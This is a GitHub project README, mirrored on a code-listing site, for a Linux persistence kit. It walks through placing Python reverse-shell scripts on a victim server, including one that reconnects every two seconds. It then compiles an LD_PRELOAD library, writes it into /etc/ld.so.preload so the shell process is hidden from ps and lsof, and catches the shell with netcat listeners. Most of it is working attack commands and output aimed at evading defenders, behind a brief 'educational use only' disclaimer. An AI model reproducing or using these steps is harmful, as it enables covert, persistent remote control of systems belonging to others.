Code Monkey home page Code Monkey logo

libprocesshidertmp's Introduction

Linux Persistence Access

⚠️ *For educational and authorized security research purposes only*

Original Exploit Authors

@gianlucaborello, @therealdreg

Exploit Description

This script is python based and is used to create a reverse shell of the victim machine. There are two scripts, the first one is used for a one-time reverse shell and the other for an infinite reverse shell with a loop mechanism every 2 seconds. And to improve defense evasion, we'll hide processes on Linux using the ld preloader.

Demo

Animation

Step Guides

  1. Establish a connection to victim's machine using SSH
┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
  1. Change s.connect(("172.16.10.7",2220)) in the shell.py file with the perpetrator's address for one-time reverse shell
  2. Change sdregs.connect(("172.16.10.7",9999)) in the loop-shell.py with the perpetrator's address for infinite reverse shell
  3. Make shell.py and loop-shell.py executable:
administrator@Server-01:/tmp/libprocesshider$ chmod +x shell.py
administrator@Server-01:/tmp/libprocesshider$ chmod +x loop-shell.py
  1. Change static const char* process_to_filter = "shell.py"; in the processhider.c with the script you want to use
  2. Then, compile the library:
administrator@Server-01:/tmp/libprocesshider$ make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
administrator@Server-01:/tmp/libprocesshider$ sudo mv libprocesshider.so /usr/local/lib/
  1. Then, Load it with the global dynamic linker
root@Server-01:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
  1. Create new terminal on perpetrator's machine and run this command for connect with one-time reverse shell and this command for infinite reverse shell::
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 2220
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 9999
  1. Run shell.py or loop-shell.py:
administrator@Server-01:/tmp/libprocesshider$ ./shell.py
administrator@Server-01:/tmp/libprocesshider$ ./loop-shell.py
  1. And your process will be off the radar
administrator@Server-01:/tmp/libprocesshider$ sudo ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
administrator@Server-01:/tmp/libprocesshider$ sudo lsof -ni
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME

Exploit Requirements

  • python3
  • gcc

Credits

libprocesshidertmp's People

Contributors

asepsaepdin avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.